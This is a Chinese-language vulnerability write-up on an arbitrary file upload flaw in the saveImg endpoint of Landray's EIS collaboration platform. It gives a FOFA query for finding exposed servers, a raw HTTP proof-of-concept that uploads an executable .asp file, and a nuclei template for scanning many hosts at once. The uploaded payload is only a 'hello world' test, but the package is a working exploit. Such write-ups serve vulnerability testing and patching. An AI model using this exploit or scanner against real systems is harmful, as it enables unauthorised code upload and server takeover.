蓝凌 EIS智慧协同平台saveImg任意文件上传

漏洞简介

蓝凌 EIS智慧协同平台saveImg存在任意文件上传漏洞

漏洞复现

fofa语法：body="欢迎登录智慧协同平台"
登录页面如下：

POC:

POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 219
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary19nUhUToSSlwhLQ2
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary19nUhUToSSlwhLQ2
Content-Disposition: form-data; name="file"filename="3h9u07rha2.asp"
Content-Type: text/html

<% response.write("hello world")%>
------WebKitFormBoundary19nUhUToSSlwhLQ2--

响应包返回了上传文件后的访问路径。

nuclei批量yaml文件

id: landray-eis-saveImg-upload

info:
  name: landray-eis-saveImg-upload
  author: mhb17
  severity: critical
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{rand_base(16)}}"
http:
  - raw:
      - |
        POST /eis/service/api.aspx?action=saveImg HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
        Accept-Encoding: gzip, deflate
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Connection: close
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Upgrade-Insecure-Requests: 1
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary}}
        Content-Length: 208
        
        ------WebKitFormBoundary{{boundary}}
        Content-Disposition: form-data; name="file"filename="{{filename}}.asp"
        Content-Type: text/html
        
        <% response.write("hello world")%>
        ------WebKitFormBoundary{{boundary}}--

      - |
        GET /files/editor_img/{{aspfilenammme}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
    extractors:
      - type: regex
        part: body
        name: aspfilenammme
        group: 1
        internal: true
        regex:
          - '/files/editor_img/([0-9-a-z]+/\w+\.asp)' 
    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 && contains(body_1,"editor_img") && contains(body_2,"hello world")'